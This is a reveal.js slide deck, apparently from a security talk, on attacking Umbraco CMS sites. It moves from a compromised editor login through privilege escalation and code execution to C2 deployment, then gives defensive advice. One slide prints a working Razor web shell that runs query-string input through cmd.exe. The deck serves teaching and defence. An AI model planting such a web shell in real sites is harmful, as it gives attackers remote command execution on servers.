forked from hakimel/reveal.js
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
393 lines (347 loc) · 11.1 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Offensive Umbraco</title>
<link rel="icon"
href="data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20100%20100%22%3E%3Ctext%20y=%22.9em%22%20font-size=%2280%22%3E🤬%3C/text%3E%3C/svg%3E">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=PT+Sans&family=VT323&display=swap">
<link rel="stylesheet" href="dist/reset.css">
<link rel="stylesheet" href="dist/reveal.css">
<link rel="stylesheet" href="dist/theme/donutsec.css">
<!-- Theme used for syntax highlighted code -->
<link rel="stylesheet" href="plugin/highlight/tomorrow-night.css">
<style>
.mono {
font-family: 'VT323' !important;
}
</style>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h1 class="mono">🤬<br>Offensive Umbraco</h1>
<p>Notes of a Friendly Adversary</p>
<small>Steven Harland</small>
</section>
<section>
<h2>Me 👀</h2>
<ul>
<li>Security Analyst @ Quorum Cyber</li>
<li>Former Developer @ Intelligent Mobile</li>
<li>Umbraco Expert, eJPT, OSCP, CRTP, OMG/WTF</li>
</ul>
</section>
<!-- Offensive Security -->
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h2 class="r-fit-text mono">❓❔<br>Offensive Security</h2>
</section>
<section>
<h3>What is Offensive Security? 🏹</h3>
<ul>
<li>An adversarial approach to security</li>
<li>
Simulating real-world attacks with the same tactics and techniques as real threat actors
<ul>
<li class="fragment">...within agreed scope!</li>
</ul>
</li>
<li class="fragment">End goal = better defences</li>
</ul>
</section>
<section>
<h3>Adversary Mindset 🧠</h3>
<ul>
<li>How can I leverage [thing] for malicious purposes?</li>
<li>Feature abuse/misuse</li>
</ul>
</section>
<!-- Offensive Umbraco -->
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h2 class="r-fit-text mono">🤬<br>Offensive Umbraco</h2>
</section>
<section>
<h3>Demo Environment</h3>
<img class="r-stretch" src="img/DemoEnvironment.svg" alt="Demo Environment">
</section>
<section>
<h2>Scenario</h2>
<ul>
<li>You have compromised an Umbraco <em>editor</em> login</li>
<li>
Your objectives are:
<ul>
<li>Gain access to an admin account</li>
<li>Deploy a C2 implant to the hosting server</li>
</ul>
</li>
</ul>
</section>
<!-- Information Gathering 🔍 -->
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h3 class="r-fit-text mono">Information Gathering 🔍</h3>
</section>
<section>
<h4>Information Gathering 🔍</h4>
<ul>
<li>What role are we?</li>
<li>What capabilities do we have?</li>
<li>What data do we have access to?</li>
<li>What version of Umbraco are we on?</li>
<li>What packages are installed?</li>
<li>How has the backoffice been extended?</li>
<li>Can we deploy to other environments?</li>
</ul>
</section>
<section>
<h4>Enumeration: Backoffice Requests</h4>
<img src="img/BackofficeRequests.png" alt="Backoffice Requests">
</section>
<section>
<h4>Enumeration: Server Variables</h4>
<img src="img/ServerVariables.png" alt="Server Variables">
</section>
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h3 class="r-fit-text mono">
Privilege Escalation 📈
</h3>
</section>
<section>
<h4>Demo: Vulnerable Backoffice Extension 🚨</h4>
<ul>
<li>PDF export feature</li>
<li>PDF is generated from HTML template</li>
<li>Editor has control over HTML</li>
</ul>
</section>
<!-- Execution 👨💻 -->
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h3 class="r-fit-text mono">
Code Execution 🚀
</h3>
</section>
<section>
<h4>Code Execution 🚀</h4>
<ul>
<li>Executing malicious code within the context of the target application</li>
<li>In Umbraco this means C#/.NET and will require getting code into one of these locations:
<ul>
<li><em>~/bin/</em> (compiled)</li>
<li><em>~/Views/</em></li>
<li><em>~/App_Code/</em></li>
<li><em>*.aspx</em></li>
</ul>
</li>
</ul>
</section>
<section>
<h4>Code Execution 🚀</h4>
<ul>
<li>
Trivial with an admin account
<ul>
<li>Upload packages</li>
<li>Create/edit views</li>
</ul>
</li>
<li>
Other possible methods:
<ul>
<li>
File upload exploitation:
<a href="https://donutsec.fun/blog/ource/">
https://donutsec.fun/blog/ource/
</a>
</li>
<li>Supply chain attack</li>
<li>Template injection</li>
</ul>
</li>
</ul>
</section>
<section>
<h4>Command Execution 👨💻</h4>
<ul>
<li>Executing <em>commands</em> on the underlying operating system</li>
<li>We leverage <em>code</em> execution and features of the .NET Framework</li>
</ul>
</section>
<section>
<h4>Demo: Web Shell</h4>
<pre>
<code data-trim data-line-numbers="5|1,7-9|10-12|13-16|19">
@if (!string.IsNullOrEmpty(Request.QueryString["cmd"]))
{
try
{
using (var process = new System.Diagnostics.Process())
{
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments =
"/c " + Request.QueryString["cmd"];
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.Start();
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
<pre>@output</pre>
}
}
catch { }
}
</code>
</pre>
</section>
<section>
<h5>Web Shell Issues 🤔</h5>
<ul>
<li>Not exactly hidden from backoffice users</li>
<li>View may be overwritten on deployment</li>
<li>
Noisy
<ul>
<li>Requires repeated HTTP requests to execute multiple commands</li>
<li>Repeatedly spawns new server-side processes</li>
</ul>
</li>
<li>Query strings appear in IIS logs</li>
</ul>
<img class="r-stretch" src="img/CmdLogs.png">
</section>
<!-- Command & Control 🎮 -->
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h3 class="r-fit-text mono">
Command & Control 🎮
</h3>
</section>
<section>
<h4>Command & Control (C2)</h4>
<img class="r-stretch" src="img/C2.svg" alt="C2">
</section>
<section>
<h4>C2 Frameworks 🏗️</h4>
<ul>
<li>Cobalt Strike</li>
<li>PowerShell Empire</li>
<li>Covenant</li>
<li>Apfell</li>
<li>PoshC2</li>
<li>...</li>
</ul>
<p>
<small>
<a href="https://www.thec2matrix.com/">
https://www.thec2matrix.com/
</a>
</small>
</p>
</section>
<section>
<h4>Demo: PoshC2 Deployment</h4>
<img class="r-stretch" src="img/C2Deployment.svg" alt="C2 Deployment">
<p>
<small>
<a href="https://github.com/nettitude/PoshC2">
https://github.com/nettitude/PoshC2
</a>
</small>
</p>
</section>
<!-- Defensive Umbraco -->
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<h2 class="r-fit-text mono">Defence 🛡️</h2>
</section>
<section>
<h3 class="r-fit-text">Backoffice features & permissions 🔏</h3>
<ul>
<li>
Use principle of least privilege
</li>
<li>
Carefully consider every feature you provide to editors
<ul>
<li>You may be providing the same features to attackers</li>
</ul>
</li>
<li>
Apply adversary mindset to <em>everything</em>
<ul>
<li>Treat everything as a potential route to compromise!</li>
</ul>
</li>
<li>
Penetration testing/code reviews of backoffice extensions
</li>
</ul>
</section>
<section>
<h3>File & folder permissions 📂</h3>
<ul>
<li>Write access only for necessary folders to prevent executable files being written</li>
<li>
If template editing/package management in the backoffice is required then implement stricter controls in other areas
</li>
</ul>
<p>
<small>
<a href="https://our.umbraco.com/Documentation/Fundamentals/Setup/Server-Setup/permissions">
https://our.umbraco.com/Documentation/Fundamentals/Setup/Server-Setup/permissions
</a>
</small>
</p>
</section>
<section>
<h3>Application Pools 🥽</h3>
<ul>
<li>Separate user for each website to prevent lateral movement</li>
</ul>
</section>
<section>
<h4>Defence in Depth 🥞</h4>
<ul>
<li>Website front-end</li>
<li>Backoffice login</li>
<li>Backoffice features & permissions</li>
<li>File & folder permissions</li>
<li>Application pools</li>
<li>Server</li>
<li>Firewall</li>
<li>...</li>
<li>You?</li>
</ul>
</section>
<section data-background-color="#1a242f" data-background-image="img/BG.svg" data-background-size="700px"
data-background-repeat="repeat" data-background-opacity="0.5">
<img class="r-frame" src="img/UmbKenny.jpg">
<h2 class="r-fit-text mono">Thank you & happy hacking!</h2>
<a href="https://twitter.com/stvnhrlnd">@stvnhrlnd</a>
</section>
</div>
</div>
<script src="dist/reveal.js"></script>
<script src="plugin/notes/notes.js"></script>
<script src="plugin/markdown/markdown.js"></script>
<script src="plugin/highlight/highlight.js"></script>
<script>
// More info about initialization & config:
// - https://revealjs.com/initialization/
// - https://revealjs.com/config/
Reveal.initialize({
hash: true,
// Learn about plugins: https://revealjs.com/plugins/
plugins: [RevealMarkdown, RevealHighlight, RevealNotes]
});
</script>
</body>
</html>